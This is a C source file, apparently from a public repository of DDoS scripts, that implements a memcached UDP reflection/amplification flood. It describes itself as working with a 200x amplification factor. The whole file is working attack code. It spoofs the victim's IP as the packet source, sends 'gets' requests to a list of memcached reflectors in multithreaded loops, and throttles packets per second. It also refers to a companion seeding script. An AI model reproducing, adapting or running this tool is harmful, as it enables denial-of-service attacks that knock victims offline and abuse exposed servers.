Path: blob/master/DDOS Scripts/AMP Methods/Port 11211 - MemcacheD (bonus seeding scripts)/memcached-static.c
4622 views
/*-------------------------------1Meme-cacheD amplification on the dumb template C script.2Working in 2020 with 200x amplification factor.3Dumb C socket template modified to perform memcached by Phenomite.4-------------------------------*/5#include <arpa/inet.h>6#include <netinet/ip.h>7#include <netinet/udp.h>8#include <pthread.h>9#include <stdio.h>10#include <stdlib.h>11#include <string.h>12#include <sys/socket.h>13#include <time.h>14#include <unistd.h>1516#define MAX_PACKET_SIZE 409617#define PHI 0x9e3779b918static uint32_t Q[4096], c = 362436;19static unsigned int DPORT = 11211;2021/* Use the memcached-seeder.py to populate the list IP's with these memcached22* key values! */23static const char PAYLOAD[] = "\x00\x01\x00\x00\x00\x01\x00\x00gets p h e\n";24static unsigned int PAYLOADSIZE = sizeof(PAYLOAD) - 1;2526struct list {27struct sockaddr_in data;28struct list *next;29struct list *prev;30};31struct list *head;32volatile int tehport;33volatile int limiter;34volatile unsigned int pps;35volatile unsigned int sleeptime = 100;36struct thread_data {37int thread_id;38struct list *list_node;39struct sockaddr_in sin;40};4142void init_rand(uint32_t x) {43int i;44Q[0] = x;45Q[1] = x + PHI;46Q[2] = x + PHI + PHI;47for (i = 3; i < 4096; i++) {48Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;49}50}5152uint32_t rand_cmwc(void) {53uint64_t t, a = 18782LL;54static uint32_t i = 4095;55uint32_t x, r = 0xfffffffe;56i = (i + 1) & 4095;57t = a * Q[i] + c;58c = (t >> 32);59x = t + c;60if (x < c) {61x++;62c++;63}64return (Q[i] = r - x);65}6667/* function for header checksums */68unsigned short csum(unsigned short *buf, int nwords) {69unsigned long sum;70for (sum = 0; nwords > 0; nwords--)71sum += *buf++;72sum = (sum >> 16) + (sum & 0xffff);73sum += (sum >> 16);74return (unsigned short)(~sum);75}7677void setup_ip_header(struct iphdr *iph) {78iph->ihl = 5;79iph->version = 4;80iph->tos = 0;81iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;82iph->id = htonl(rand() % 65337 + 1);83iph->frag_off = 0;84iph->ttl = 64; // MAXTTL85iph->protocol = IPPROTO_UDP;86iph->check = 0;87iph->saddr = inet_addr("127.0.0.1");88}89void setup_udp_header(struct udphdr *udph) {90udph->source = htons(rand() % 65337 + 80);91udph->dest = htons(DPORT);92udph->check = 0;93memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);94udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE);95}96void *flood(void *par1) {97struct thread_data *td = (struct thread_data *)par1;98char datagram[MAX_PACKET_SIZE];99struct iphdr *iph = (struct iphdr *)datagram;100struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr);101struct sockaddr_in sin = td->sin;102struct list *list_node = td->list_node;103int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);104if (s < 0) {105fprintf(stderr, "Could not open raw socket.\n");106exit(-1);107}108init_rand(time(NULL));109memset(datagram, 0, MAX_PACKET_SIZE);110setup_ip_header(iph);111setup_udp_header(udph);112udph->source = htons(rand() % 65337 + 80); // Avoid first 80113iph->saddr = sin.sin_addr.s_addr;114iph->daddr = list_node->data.sin_addr.s_addr;115iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);116int tmp = 1;117const int *val = &tmp;118if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) {119fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");120exit(-1);121}122init_rand(time(NULL));123register unsigned int i;124i = 0;125while (1) {126list_node = list_node->next;127iph->daddr = list_node->data.sin_addr.s_addr;128iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);129iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);130sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,131sizeof(list_node->data));132pps++;133if (i >= limiter) {134i = 0;135usleep(sleeptime);136}137i++;138}139}140int main(int argc, char *argv[]) {141if (argc < 6) {142fprintf(stdout, "%s hst prt ref thread lim time\n", argv[0]);143exit(-1);144}145srand(time(NULL));146int i = 0;147head = NULL;148int max_len = 128;149char *buffer = (char *)malloc(max_len);150buffer = memset(buffer, 0x00, max_len);151int num_threads = atoi(argv[4]);152int maxpps = atoi(argv[5]);153limiter = 0;154pps = 0;155int multiplier = 20;156FILE *list_fd = fopen(argv[3], "r");157while (fgets(buffer, max_len, list_fd) != NULL) {158if ((buffer[strlen(buffer) - 1] == '\n') ||159(buffer[strlen(buffer) - 1] == '\r')) {160buffer[strlen(buffer) - 1] = 0x00;161if (head == NULL) {162head = (struct list *)malloc(sizeof(struct list));163bzero(&head->data, sizeof(head->data));164head->data.sin_addr.s_addr = inet_addr(buffer);165head->next = head;166head->prev = head;167} else {168struct list *new_node = (struct list *)malloc(sizeof(struct list));169memset(new_node, 0x00, sizeof(struct list));170new_node->data.sin_addr.s_addr = inet_addr(buffer);171new_node->prev = head;172new_node->next = head->next;173head->next = new_node;174}175i++;176} else {177continue;178}179}180struct list *current = head->next;181pthread_t thread[num_threads];182struct sockaddr_in sin;183sin.sin_family = AF_INET;184sin.sin_addr.s_addr = inet_addr(argv[1]);185struct thread_data td[num_threads];186for (i = 0; i < num_threads; i++) {187td[i].thread_id = i;188td[i].sin = sin;189td[i].list_node = current;190pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);191}192fprintf(stdout, "Yeeting\n");193for (i = 0; i < (atoi(argv[6]) * multiplier); i++) {194usleep((1000 / multiplier) * 1000);195if ((pps * multiplier) > maxpps) {196if (1 > limiter) {197sleeptime += 100;198} else {199limiter--;200}201} else {202limiter++;203if (sleeptime > 25) {204sleeptime -= 25;205} else {206sleeptime = 0;207}208}209pps = 0;210}211return 0;212}213214